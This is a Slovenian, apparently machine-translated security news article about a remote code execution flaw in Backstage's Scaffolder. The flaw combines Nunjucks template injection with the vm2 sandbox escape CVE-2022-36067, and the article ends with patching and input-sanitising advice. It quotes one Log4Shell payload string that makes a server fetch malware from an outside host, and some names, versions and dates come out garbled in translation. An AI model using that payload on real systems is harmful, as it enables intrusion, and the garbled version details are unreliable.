Luknja za izvajanje kode, podobna Log4Shell, v priljubljenem razvijalskem orodju Backstage

Raziskovalci varnostnega podjetja za kodiranje v oblaku Oxeye so zapisali kritično napako, ki so jo nedavno odkrili v priljubljenem orodju za razvoj oblakov Backstage.

Njihovo poročilo vključuje razlago, kako hrošč deluje, in kodo za dokaz koncepta (PoC), ki prikazuje, kako ga izkoristiti.

Zakulisje je tisto, kar je znano kot portal za razvijalce v oblaku – nekakšno zaledje poslovne logike, ki olajša gradnjo spletnih API-jev (vmesnikov za programiranje aplikacij), ki kodirnikom znotraj in zunaj vašega podjetja omogočajo interakcijo z vašimi spletnimi storitvami.

Z besedami samega projekta, prvotno ustvarjenega v Spotifyju, zdaj pa odprtega izvora na GutHubu:

Backstage je odprta platforma za gradnjo portalov za razvijalce. Backstage, ki ga poganja centraliziran katalog programske opreme, vzpostavi red v vaših mikrostoritvah in infrastrukturi ter vašim skupinam izdelkov omogoča hitro pošiljanje visokokakovostne kode – brez ogrožanja avtonomije.

Backstage združuje vsa vaša infrastrukturna orodja, storitve in dokumentacijo za ustvarjanje poenostavljenega razvojnega okolja od konca do konca.

Ne, tudi v resnici ne vemo, kaj to pomeni, vemo pa, da je komplet orodij napisan v JavaScriptu in deluje s sistemom JavaScript na strani strežnika node.js, in pritegne mrežo odvisnosti dobavne verige od ekosistema NPM.

NPM je okrajšava za Node Package Manager, avtomatiziran komplet orodij, ki zagotavlja, da lahko vaša zaledna koda JavaScript zlahka uporablja širok nabor odprtokodnih knjižnic, ki ponujajo priljubljena, vnaprej napisana pomožna orodja za vse, od kriptografije in upravljanja baze podatkov do beleženja in nadzora različic.

Izvajanje kode na daljavo

Na žalost bi lahko danes razkrita napaka, če je ne bi odpravili, nepoverjenim zunanjim uporabnikom (ohlapno vsakomur, ki lahko vzpostavi povezave API z vašimi strežniki) omogočila sprožitev oddaljenega izvajanja kode (RCE) znotraj strežnikov poslovne logike v vašem omrežju.

Če pa smo Oxeyejev zapis pravilno interpretirali, je napad, ki ga opisujejo za svoj Backstage RCE, odvisen od zaporedja napak kodiranja, ki so na koncu odvisne od določene hrošča, imenovane CVE-2022-36067 v komponenti dobavne verige, ki se imenuje Backstage in se imenuje vm2.

Če se sprašujete, je vm2 modul NPM za splošen namen, ki izvaja »peskovnik navideznega stroja«, katerega namen je narediti potencialno tvegan JavaScript nekoliko varnejši za izvajanje na vaših strežnikih.

Tista napaka CVE-2022-36067 v vm2 je bila poročali avgusta 2022 sam Oxeye (ki mu je dal PR prijazno ime »Sandbreak«, ker je izbruhnil iz peskovnika) in popravljeno takoj ekipa vm2 pred skoraj tremi meseci.

Torej, kolikor lahko vidimo, če ste uporabnik Backstage, se morate prepričati, da ste popravili vse ogrožene komponente v nastavitvi Backstage ...

… toda če ste pred vsemi meseci popravili komponento vm2, ki je bila ranljiva za Sandbreak, se zdi, da niste neposredno ranljivi za izkoriščanje, opisano v najnovejšem razkritju podjetja Oxeye.

Poleg tega, če so vaši strežniki Backstage konfigurirani v skladu z dobrimi smernicami za kibernetsko varnost, pri čemer je potrebno preverjanje pristnosti tako na robu omrežja kot v omrežju, ne boste izpostavljeni tveganju naključnih sond »samo za raziskovalne namene« s strani določenih »koristnih« posameznikov da pokažejo, da jih zanimajo "raziskave" kibernetskih groženj.

Napad "Ementhalskega sira".

Preprosto povedano, na novo razkrite varnostne težave so stranski učinek vrste varnostnih težav, kot so luknje v rezinah sira ementalca, ki bi jih lahko preželi zaporedoma, če bi napadalec lahko poravnal vsaj eno luknjo na vsaki rezini.

Kot razumemo, Backstage vključuje komponento, imenovano Scaffolder, ki vam, kot že ime pove, pomaga upravljati različne dodatke (znane kot vtičniki), ki jih vaša skupnost razvijalcev morda želi ali potrebuje.

Scaffolder pa uporablja Mozillin sistem beleženja sporočil, znan kot Nunjucks, ki vključuje tisto, kar je znano kot predlogiranje nizov in node.js krogih, kot interpolacija nizov v svetu Jave in kot zamenjava niza sistemskim skrbnikom, ki uporabljajo ukazne lupine, kot je Bash.

Če interpolacija nizov zazvoni, je to verjetno zato, ker je bila v središču Log4Shell ranljivosti decembra 2021 in od Follina napaka sredi leta 2022.

Tukaj lahko prepišete vsebino sporočila beleženja na podlagi posebnih "kodiranih znakov" v predlogi niza, tako da niz, kot je $USER se lahko nadomesti z imenom računa, ki ga uporablja strežnik, ali ${PID} lahko pridobi trenutni ID procesa.

V skrajnem primeru Log4Shell, radovedno videti zaklinjanje ${jndi:ldap://example.com:8888/malware} lahko strežnik neposredno prevara, da prenese program, imenovan malware iz example.com in ga tiho izvaja v ozadju.

Z drugimi besedami, popolnoma se morate prepričati, da podatki, ki prihajajo iz nezaupljivega vira, kot je zunanji uporabnik, nikoli niso slepo posredovani funkciji za predlogo ali interpolacijo niza, ki bo uporabljena kot samo besedilo predloge.

Če oddaljeni uporabnik na primer poskuša pretentati vaš strežnik tako, da da svoje uporabniško ime kot ${{RISKY}} (ob predpostavki, da knjižnica predlog uporablja ${{...}} kot njegov poseben marker), morate zagotoviti, da bo vaša koda za beleženje pravilno zabeležila to nagajivo besedilo dobesedno tako, kot je bilo prejeto ...

...namesto da dovolite, da besedilo, ki se beleži, prevzame nadzor nad samo funkcijo beleženja!

Z besedami stare otroške pesmice se morate prepričati, da ne boste na koncu zapeli: »V mojem je luknja ${{BUCKET}}, draga Liza, draga Liza, v meni je luknja ${{BUCKET}}, draga Liza. Luknja!"

Zavit v varnostno odejo

Po pravici povedano, morda preveč zmogljivo funkcijo šablon/interpolacije Nunjucks Backstage ovije v še eno komponento dobavne verige, in sicer v prej omenjeni peskovniški sistem vm2, ki naj bi omejil nevarnost, ki bi jo lahko zlonamerni uporabnik naredil z bombami. -ujeti vhodni podatki.

Na žalost je raziskovalcem Oxeye uspelo združiti svoje na novo odkrite poti sprožitve kode s predlogami nizov v Backstage + Scaffolder + Nunjucks s starejšo ranljivostjo CVE-2022-36067 v varnostnem ovoju vm2, da bi dosegli morebitno oddaljeno izvajanje kode na strežniku Backstage .

Kaj storiti?

Če ste uporabnik Backstage:

• Zagotovite, da imate najnovejše različice Backstage in njegovih odvisnosti, vključno plugin-scaffolder-backend komponento. Po besedah ​​Oxeyeja so bile ustrezne napake v kodi Backstage popravljene do 01. septembra 2022, tako da bi morala vsaka uradna točkovna izdaja po teh podatkih vključevati popravke. V času pisanja [2022-11-1T16:00Z], to vključuje Backstage 1.6.0, 1.7.0 in 1.8.0, izdano 2022. 09. 21, 2022. 10. 18 oziroma 2022. 11. 15.
• Preverite, ali ima vaša namestitev Backstage konfigurirano preverjanje pristnosti, kot pričakujete. Oxeye trdi, da je preverjanje pristnosti privzeto izklopljeno in da po upoštevanju Smernice v zakulisju, zaledni strežniki (ki verjetno tako ali tako ne bi smeli biti izpostavljeni navzven) še vedno dovoljujejo nepreverjen dostop. To je morda tisto, kar želite, vendar priporočamo, da to težavo uporabite kot razlog za preverjanje, ali se vaša nastavitev ujema z vašimi nameni.
• Preverite, kateri deli vaše infrastrukture Backstage so dosegljivi prek interneta. Še enkrat, uporabite to težavo kot razlog za skeniranje lastnega omrežja od zunaj, če tega niste storili pred kratkim.

Če ste uporabnik node.js/NPM:

• Prepričajte se, da imate najnovejšo različico komponente peskovnika vm2. Morda imate to nameščeno kot odvisnost od druge programske opreme, ki jo uporabljate, tudi če nimate Backstage. Ranljivost CVE-2022-36067 je bila popravljena 2022. avgusta 08, zato želite različico vm28 3.9.11 ali pozneje.

Če ste programer:

• Bodite čim bolj obrambni, ko kličete zmogljive funkcije beleženja. Če uporabljate storitev beleženja (vključno z Nunjucks ali Log4J), ki vključuje zmogljive funkcije predlog/interpolacije, izklopite vse funkcije, ki jih ne potrebujete, da jih ne bi mogli pomotoma izkoristiti. Zagotovite, da se nezaupanja vreden vnos sam nikoli ne uporabi kot predloga, s čimer preprečite napadalcem, da bi zavili lastne neposredno nevarne vnosne nize.
• Ne glede na morebitne druge previdnostne ukrepe razkužite svoje vnose in izhode beleženja. Ne pozabite, da bo nekdo drug moral odpreti vaše dnevniške datoteke v prihodnosti. Ne dovolite, da bi se kakršne koli nenamerne mine zapisale v vašo dnevniško datoteko, kjer bi lahko pozneje povzročile težave, kot so fragmenti HTML z opuščenimi oznakami skripta. (Nekdo lahko pomotoma odpre datoteko v brskalniku.)

Tudi če prejmete vnos iz zaupanja vrednega vira, redkokdaj obstaja razlog, da ga pred uporabo ne bi dali skozi lastne sanitarne preglede.

(Občasno lahko utemeljite izjemo, na primer zaradi učinkovitosti, vendar bi morala biti izjema, ne pravilo.)

Prvič, ponovno preverjanje vam pomaga odkriti napake, ki so jih prejšnji koderji naredili v dobri veri; drugič, pomaga omejiti širjenje slabih ali miniranih podatkov, če je ogrožen kakšen drug del vašega ekosistema.

Stvar v zvezi s tistimi rezinami sira Emmenthal, ki smo jih omenili prej, je, da čeprav so prepustne, če se na vsakem listu nahaja vsaj ena luknja ...

… so neprepustne, če obstaja vsaj ena plošča z luknjami, ki se sploh ne ujemajo!

---